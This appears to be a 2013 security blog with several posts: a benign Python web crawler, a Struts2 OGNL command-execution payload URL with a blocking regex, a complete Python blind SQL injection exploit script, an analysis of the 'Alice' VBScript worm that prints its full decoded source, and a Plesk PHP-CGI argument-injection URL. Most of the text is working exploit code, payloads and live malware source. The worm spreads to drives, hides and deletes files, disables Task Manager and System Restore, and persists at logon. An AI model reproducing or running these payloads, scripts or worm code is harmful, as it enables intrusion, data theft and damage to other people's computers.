Thursday, 29 August 2013

Python Web Crawer Code - testing

It's Just a sample.

You can make more great code.

#Python code.

 #page spider  
 import sys, urlparse, urllib  
 from bs4 import BeautifulSoup  
 from datetime import datetime  
   
   
 url = "http://hacktizen.blogspot.com/"  
 hostname = urlparse.urlparse(url).hostname.split(".")  
 hostname = ".".join(len(hostname[-2]) < 4 and hostname[-3:] or hostname[-2:])  
   
   
 urls = [url] # Stack of urls to csrape  
 visited = [url] #historic record of urls  
 imgs = []  
 forms = []  
   
 print "Search"  
   
 tstart = datetime.now()  
 while len(urls) > 0:  
   try:  
     htmltext = urllib.urlopen(urls[0]).read()  
   except:  
     print "\r\nexcept:"+urls[0]  
   soup = BeautifulSoup(htmltext)  
   
   urls.pop(0)  
   sys.stdout.write('.')  
     
   for tag in soup.findAll('a', href=True):  
     tag['href'] = urlparse.urljoin(url,tag['href'])  
     if hostname in tag['href'] and tag['href'] not in visited:  
       urls.append(tag['href'])  
       visited.append(tag['href'])  
     
   for tag in soup.findAll('img', src=True):  
     tag['img'] = urlparse.urljoin(url,tag['src'])  
     if hostname in tag['img']:  
       imgs.append(tag['img'])  
       imgs = list(set(imgs))  
   
   for tag in soup.findAll('form', action=True):  
     tag['form'] = urlparse.urljoin(url,tag['action'])  
     if hostname in tag['form']:  
       forms.append(tag['form'])  
       forms = list(set(forms))  
   
   
 tend = datetime.now()  
 tperiod = tend - tstart  
 print("\r\n[URL]")  
 for links in visited:  
   print links  
 print("\r\n[IMGS]")  
 for links in imgs:  
   print links  
 print("\r\n[Forms]")  
 for links in forms:  
   print links  
 print("\r\nTime - "+str(tperiod))  
   

Friday, 19 July 2013

Apache Struts2 include Params Remote Code Execution

It be able to get system permissions, An attacker could execute commands.

http://URL/PAGE.ACTION(or .DO)?redirect:$%7B%23a%3d(new%20java.lang.ProcessBuilder(%22whoami%22)).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char%5B50000%5D,%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D


Solution:
 - Upgrade Version Struts2
 - Blocking Pattern Regex
   (.*)(redirect|action)(.*)java(.|%2e)lang(.|%2e)ProcessBuilder(.*)com(.|%2e)opensymphony(.*)

Reference: http://www.exploit-db.com/exploits/25980/

Thursday, 4 July 2013

Bool-based Blind SQL Injection python.

I made bool-based blind sql injection.

Sometimes I need blind sql injection codes for a CTF.

I will add more functions.

  
 import sys  
 import re  
 import urllib  
 import urllib2  
 import inspect  
 #import base64  
 #import mimetypes  
 #import pprint  
   
 def set_globalvar():  
   global type_attack  
   global host  
   global findout  
   global n  
   global query  
   global sqli_start  
   global sqli_end  
   global url  
   global parameter  
   #query = "SELECT 1"  
   query = "SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.columns"  
   n=8  
   host="http://127.0.0.1"  
   url="/sqli.php"  
   parameter="a"  
   findout="Sample"  
   session=""  
   type_attack="GET"  
   #type_attack = "POST"  
   #type_attack = "COOKIE"  
   #type_attack = "MULTIPART"  
   sqli_start="1 AND "  
   sqli_end="--"  
   
 def set_error():  
   print("It is an error MSG from function: %s" % (inspect.stack()[1][3]))  
   return 0  
   
 def printr(data):  
   for x in data:  
     sys.stdout.write(x)  
     sys.stdout.flush()  
   print("")  
   print("")  
   print("[*] Exploit Complete!")  
   
 def set_send(params):  
   params = "IF(1=1,%s,0)" % (params)  
   finalquery=sqli_start+params+sqli_end  
   encoding_finalquery = urllib2.quote(finalquery)  
   if(type_attack=="GET"):  
     action = urllib2.build_opener()  
     #action.addheaders.append(('Cookie', 'SESSION=%s' %(session)))  
     #resp = urllib2.urlopen(host+url+"?"+parameter+"="+encoding_finalquery)  
     resp = action.open(host+url+"?"+parameter+"="+encoding_finalquery)  
   elif(type_attack=="POST"):  
     values = {parameter : finalquery}  
     cookie = urllib.urlencode(values)  
     resp = urllib2.urlopen(host+url, cookie)  
   elif(type_attack=="COOKIE"):  
     action = urllib2.build_opener()  
     action.addheaders.append(('Cookie', '%s=%s' % (parameter, encoding_finalquery)))  
     resp = action.open(host+url)  
   elif(type_attack=="MULTIPART"):  
     filename = "test.php"  
     CRLF = '\r\n'  
     boundary = '----WebKitFormBoundaryL4f8jRRQx76T6nV9'  
     parts = []  
       
     parts.append('--' + boundary)  
     parts.append('Content-Disposition: form-data; name="%s"' % (parameter))  
     parts.append('')  
     parts.append(finalquery)  
       
     parts.append('--' + boundary)  
     parts.append('Content-Disposition: form-data; name="pwd"; filename="%s"' % (filename))  
     parts.append('Content-Type: application/octet-stream')  
     parts.append('')  
     parts.append('1234')  
     parts.append('--' + boundary + '--')  
     parts.append('')  
     body= CRLF.join(parts)      
     headers = {'content-type' : 'multipart/form-data; boundary=%s' % (boundary)}  
     req = urllib2.Request(host+url, body, headers)  
     resp = urllib2.urlopen(req)  
       
   data = "\n".join([resp.info().get(i) for i in resp.info()])  
   data += "\n" + "".join([repr(x) for x in resp])  
     
   return data  
   
   
 def set_getbit(data):  
   try:  
     bit = re.findall(findout, data)  
     if findout in bit: return '1'  
     else: return '0'  
   except IndexError: raise RuntimeError  
   except TypeError: raise RuntimeError  
   
 def set_getvalue(val, n=8):  
   byte=""  
   for bit in range(n-1, -1, -1):  
     tmp = set_getbit(set_send("(%s>>%d&1)" % (val, bit)))  
     byte += tmp  
   return int(byte, 2)  
   
 def set_getlength(content):  
   return set_getvalue("LENGTH(%s)" % content, 32)  
   
 def set_getstring(content):  
   length = set_getlength(content)  
   print(" [-] Lengh: %s" % length)  
   print(" [-] Result")  
   for i in xrange(length+1):  
     yield chr(set_getvalue("ASCII(MID((%s),%d,1))" % (content, i)))  
   
 def get_sqlexploit(query):  
   print(" [-] Method: %s" % (type_attack))  
   if not ((type_attack is "GET") or (type_attack is "POST") or (type_attack is "COOKIE") or (type_attack is "MULTIPART")):  
     print("Please check type of the attack")  
     set_error()  
   else:  
     '''  
     MySQL If Statement  
       IF(condition,true-part,false-part) (M)   
       SELECT IF(1=1,'true','false')  
   
     SQL Server If Statement  
       IF condition true-part ELSE false-part (S)   
       IF (1=1) SELECT 'true' ELSE SELECT 'false'  
     '''  
     try:  
       for i in set_getstring("(%s)" %(query)): yield i  
     except RuntimeError:  
       yield "SQL error."  
       raise StopIteration  
       
 def main():  
   set_globalvar()  
   print(" - A Bool-based SQL Injection Vulnerability Exploit")  
   print("")  
   print(" Author: Kerz")  
   print(" Date: 05/07/2013")  
   print("")  
   print("[*] Target: %s" % host+url)  
   print("[+] Injection")    
   printr(get_sqlexploit(query))  
     
 if __name__ == '__main__':  
   main()  
       
   

Reference: www.exploit-db.com/download_pdf/12967/

Tuesday, 2 July 2013

An Alice Virus analysis by script-kid.


Do not EXECUTE this code on your normal window's laptop.

I got an Alice Virus from e-mail.

It is a virus which has:
    It makes all of doc, docx, rtf files to be .vbe of 8 kb and hiding doc files.
    It .htm and .html file to be .hta with a VBscript of Alice Virus.
    It is encoded a Microsoft Script Encoder, however, we can decode it using scrdec18.
It deletes .lnk files
It changes and removes window register's values.
It infects autorun.inf
it makes Alice.sys and Alice.alc: located in c:\Windows\System32\Drivers\ (32bit).

The MS Essential can detect the virus, on the other hand, it cannot recover html files.

First of all, I tried to make a program for recovering html file:
    I coded a string counting function of "alice.tmp" on ".HTA" files until it does not have "alice.tmp".
    I did not have files include "alice.tmp" strings when I try to fix infected files.
    I removed (5 * (alice.tmp counting / 2)) lines from end of the hta files.
    I changed file extension from .hta to .html.
Second, I installed MS Essential and fixed the Alice Virus.
Last, I set doc, docx and rtf files to get normal permissions like unhide, unread-only.
    I set restoring registers.

It is the logic for hta2html source code.
 import os  
 import re  
   
 def os_walkf(root, filterDir=None, filterName=None, filterExt=None):  
   for base, dirs, names in os.walk(root):  
     if filterDir:  
       dirs[:] = [dir for dir in dirs if filterDir(dir)]  
     if filterName:  
       if filterExt:  
         for name in names:  
           if filterName(name) and filterExt(os.path.splitext(name)[1]):  
             yield os.path.join(base, name)  
       else:  
         for name in names:  
           if filterName(name):  
             yield os.path.join(base, name)  
     else:  
       if filterExt:  
         for name in names:  
           if filterExt(os.path.splitext(name)[1]):  
             yield os.path.join(base, name)  
       else:  
         for name in names:  
           yield os.path.join(base, name)  
   
 def set_countstring(path):  
   fs = open(path, "r")  
   data = fs.read()  
   strcnt = data.count("alice.tmp")  
   strcnt = strcnt / 2  
   fs.close()  
   return strcnt  
     
   
 def set_filelen(fs):  
   count = 0  
   while 1:  
     line = fs.readline()  
     count = count + 1  
     if not line: break  
   return count  
   
 def set_hta2html(path):  
   strcnt = set_countstring(path)  
     
   fs = open(path,"r")  
   fs_len = set_filelen(fs)  
   fs.close()  
     
   fs = open(path,"r")  
   new_filename = path[:-3]+'html'  
   new_fs = open(new_filename, "w")  
   
   count = 0  
   while count < (fs_len - (6*strcnt)):  
     data = fs.readline()  
     new_fs.write(data)  
     count = count + 1  
     
   fs.close()  
   new_fs.close()  
     
   
 def main():  
   drv = re.findall(r"[A-Z]+:.*$",os.popen("mountvol /").read(),re.MULTILINE)  
   
   for i in drv :  
     for path in os_walkf(i, filterDir=lambda dir: (dir),filterExt=lambda ext: (ext.lower() == ".hta")):  
       print(path)  
       set_hta2html(path)  
       os.remove(path)  
   
 main()  
   
   

It is the Alice Virus code after I used scrdec18.

#Alice virus
 option explicit  
 dim f300e,thpfp,mxlcm,ye9ue,aixlb  
 set f300e=createobject("Scripting.FileSystemObject")  
 set thpfp=createobject("WScript.Shell")  
 set mxlcm=f300e.getfile(wscript.scriptfullname)  
 set ye9ue=f300e.getspecialfolder(0)  
 set aixlb=f300e.getspecialfolder(1)  
 sub ayfp6(ck1cp)  
 on error resume next  
 dim s41k8  
 v41tf(ck1cp)  
 set s41k8=f300e.getfile(ck1cp)  
 s41k8.attributes=39  
 end sub  
 sub f0l51()  
 on error resume next  
 dim bgw3u  
 for each bgw3u in f300e.drives  
 if (bgw3u.drivetype=1 or bgw3u.drivetype=2 or bgw3u.drivetype=3) and bgw3u.path<>"A:" then  
 ayfp6(bgw3u.path&"\alice.alc")  
 qag1n(bgw3u.path&"\autorun.inf")  
 syasj(bgw3u.path&"\")  
 rid6b(bgw3u.path&"\")  
 end if  
 next  
 end sub  
 sub hy26l()  
 on error resume next  
 dim e9ljz,purpl  
 for each e9ljz in f300e.getfolder(thpfp.specialfolders("Recent")).files  
 purpl=lcase(f300e.getextensionname(e9ljz.path))  
 if purpl="lnk" then  
 zpzoe(e9ljz.path)  
 end if  
 next  
 end sub  
 sub kugxq(p9krq,wzc5e)  
 on error resume next  
 dim qs247,zf3cw,a4zpt,u960a,kbkzd  
 set qs247=f300e.opentextfile(p9krq,1)  
 zf3cw=qs247.readall  
 qs247.close  
 set qs247=f300e.opentextfile(mxlcm,1)  
 a4zpt=qs247.readall  
 qs247.close  
 u960a=replace(a4zpt,chr(34),chr(216))  
 kbkzd=vbcrlf&"<HTML>"&vbcrlf&"<SCRIPT language="&chr(34)&"VBScript"&chr(34)&">"&vbcrlf&"on error resume next:set i129a=createobject("&chr(34)&"Scripting.FileSystemObject"&chr(34)&"):set uvqkz=createobject("&chr(34)&"WScript.Shell"&chr(34)&"):set ony43=i129a.getspecialfolder(1):set rowb1=i129a.getspecialfolder(2):p3vli="&chr(34)&u960a&chr(34)&":l3h0l=replace(p3vli,chr(216),chr(34)):esbvk=l3h0l&chr(0):set ivofa=i129a.createtextfile(rowb1&"&chr(34)&"\alice.tmp"&chr(34)&",true):ivofa.write(esbvk):ivofa.close:uvqkz.run(ony43&"&chr(34)&"\wscript.exe //e:vbscript.encode "&chr(34)&"&rowb1&"&chr(34)&"\alice.tmp"&chr(34)&")"&vbcrlf&"</SCRIPT>"&vbcrlf&"</HTML>"  
 set qs247=f300e.createtextfile(wzc5e,true)  
 qs247.write(zf3cw)  
 qs247.write(kbkzd)  
 qs247.close  
 end sub  
 function ljwom(db04w)  
 ljwom=thpfp.regread("HKCR\."&db04w&"\")  
 end function  
 sub llgz8()  
 on error resume next  
 do while mxlcm=(aixlb&"\drivers\alice.sys")  
 f0l51()  
 loop  
 end sub  
 sub m9g2p()  
 on error resume next  
 if not f300e.fileexists(aixlb&"\drivers\alice.sys") then  
 ayfp6(aixlb&"\drivers\alice.sys")  
 thpfp.run(aixlb&"\wscript.exe //e:vbscript.encode "&aixlb&"\drivers\alice.sys")  
 else  
 vs7xo()  
 wcpw7()  
 hy26l()  
 llgz8()  
 end if  
 end sub  
 sub qag1n(fg77p)  
 on error resume next  
 dim btfzw,tmkuj  
 btfzw="[autorun]"&vbcrlf&"shellexecute=wscript.exe //e:vbscript.encode alice.alc"&vbcrlf&"shell\open\command=wscript.exe //e:vbscript.encode alice.alc"&vbcrlf&"shell\explore\command=wscript.exe //e:vbscript.encode alice.alc"  
 set tmkuj=f300e.createtextfile(fg77p,true)  
 tmkuj.write(btfzw)  
 tmkuj.close  
 if err.number<>0 then  
 zpzoe(fg77p)  
 set tmkuj=f300e.createtextfile(fg77p,true)  
 tmkuj.write(btfzw)  
 tmkuj.close  
 end if  
 set tmkuj=f300e.getfile(fg77p)  
 tmkuj.attributes=39  
 end sub  
 sub rid6b(wib5969)  
 on error resume next  
 dim zdet3  
 for each zdet3 in f300e.getfolder(wib5969).subfolders  
 if zdet3.name<>"RECYCLER" and zdet3.name<>"System Volume Information" then  
 syasj(zdet3.path)  
 rid6b(zdet3.path)  
 end if  
 next  
 end sub  
 sub syasj(qo1qy)  
 on error resume next  
 dim vlx8c,tk8hq,eiklf,fbr9k  
 for each vlx8c in f300e.getfolder(qo1qy).files  
 tk8hq=lcase(f300e.getextensionname(vlx8c.path))  
 eiklf=f300e.getbasename(vlx8c.path)  
 if (tk8hq="doc" or tk8hq="docx" or tk8hq="rtf") and left(eiklf,2)<>"~$" then  
 v41tf(qo1qy&"\"&eiklf&".vbe")  
 vd8vs(vlx8c.path)  
 elseif tk8hq="htm" or tk8hq="html" then  
 kugxq(vlx8c.path),(qo1qy&"\"&eiklf&".hta")  
 zpzoe(vlx8c.path)  
 end if  
 next  
 end sub  
 sub v41tf(watpl)  
 on error resume next  
 dim ugn6h,jk5vz  
 set ugn6h=f300e.opentextfile(mxlcm,1)  
 jk5vz=ugn6h.readall  
 ugn6h.close  
 set ugn6h=f300e.createtextfile(watpl,true)  
 ugn6h.write(jk5vz)  
 ugn6h.close  
 if err.number<>0 then  
 zpzoe(watpl)  
 set ugn6h=f300e.createtextfile(watpl,true)  
 ugn6h.write(jk5vz)  
 ugn6h.close  
 end if  
 end sub  
 sub vd8vs(p3zu2)  
 on error resume next  
 dim p3fbg  
 set p3fbg=f300e.getfile(p3zu2)  
 p3fbg.attributes=38  
 end sub  
 sub vs7xo()  
 on error resume next  
 thpfp.regdelete"HKCR\*\shellex\ContextMenuHandlers\Open With\"  
 thpfp.regdelete"HKCR\inffile\shell\Install\command\"  
 thpfp.regdelete"HKCR\inffile\shell\Install\"  
 thpfp.regdelete"HKCR\regfile\shell\open\command\"  
 thpfp.regdelete"HKCR\regfile\shell\open\"  
 thpfp.regdelete"HKCR\VBEFile\Shell\Open2\command\"  
 thpfp.regdelete"HKCR\VBEFile\Shell\Open2\"  
 thpfp.regdelete"HKCR\VBEFile\Shell\Edit\command\"  
 thpfp.regdelete"HKCR\VBEFile\Shell\Edit\"  
 thpfp.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden","0","REG_DWORD"  
 thpfp.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt","1","REG_DWORD"  
 thpfp.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileAssociate","1","REG_DWORD"  
 thpfp.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind","1","REG_DWORD"  
 thpfp.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions","1","REG_DWORD"  
 thpfp.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun","1","REG_DWORD"  
 thpfp.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","1","REG_DWORD"  
 thpfp.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","1","REG_DWORD"  
 thpfp.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD","2","REG_DWORD"  
 thpfp.regwrite"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner","ALICE"  
 thpfp.regwrite"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization",""  
 thpfp.regwrite"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit",aixlb&"\userinit.exe,"&aixlb&"\wscript.exe //e:vbscript.encode "&aixlb&"\drivers\alice.sys"  
 thpfp.regwrite"HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore\DisableSR","1","REG_DWORD"  
 thpfp.regwrite"HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore\DisableConfig","1","REG_DWORD"  
 end sub  
 sub wcpw7()  
 on error resume next  
 dim r0a7u,rwyg5  
 r0a7u="HKCR\"&ljwom("doc")  
 rwyg5="HKCR\"&ljwom("VBE")  
 thpfp.regwrite rwyg5&"\",thpfp.regread(r0a7u&"\")  
 thpfp.regwrite rwyg5&"\DefaultIcon\",thpfp.regread(r0a7u&"\DefaultIcon\")  
 thpfp.regwrite rwyg5&"\FriendlyTypeName",thpfp.regread(r0a7u&"\"),"REG_EXPAND_SZ"  
 thpfp.regwrite rwyg5&"\NeverShowExt",""  
 end sub  
 sub xvhxt()  
 on error resume next  
 dim ktl17  
 ktl17=left(mxlcm,len(mxlcm)-3)  
 if mxlcm.name="alice.alc" then   
 thpfp.run ye9ue&"\explorer.exe /e,/select,"&wscript.scriptfullname  
 elseif f300e.fileexists(ktl17&"doc") then  
 thpfp.run(thpfp.regread("HKCR\"&ljwom("doc")&"\shell\Open\command\")&chr(32)&chr(34)&ktl17&"doc"&chr(34))  
 elseif f300e.fileexists(ktl17&"docx") then  
 thpfp.run(thpfp.regread("HKCR\"&ljwom("docx")&"\shell\Open\command\")&chr(32)&chr(34)&ktl17&"docx"&chr(34))  
 elseif f300e.fileexists(ktl17&"rtf") then  
 thpfp.run(thpfp.regread("HKCR\"&ljwom("rtf")&"\shell\Open\command\")&chr(32)&chr(34)&ktl17&"rtf"&chr(34))  
 end if  
 end sub  
 sub zpzoe(yunj7)  
 on error resume next  
 dim fbr9k  
 f300e.deletefile(yunj7)  
 if err.number<>0 then  
 set fbr9k=f300e.getfile(yunj7)  
 fbr9k.attributes=0  
 f300e.deletefile(yunj7)  
 end if  
 end sub  
 xvhxt()  
 m9g2p()  

Thursday, 20 June 2013

PHPPATH/PHP Vulnerability.

It looks like a type of a remote command via PHP.

 HTTP://URL/%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E  

First of all, I had a url decode to the source
 HTTP://URL/phppath/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -n  

Kindly find a vulnerability below URI.
I dont have the Plesk, so I cannot make PoC.

This vulnerability affects Plesk.

http://blog.sucuri.net/2013/06/plesk-0-day-remote-vulnerability-in-the-wild.html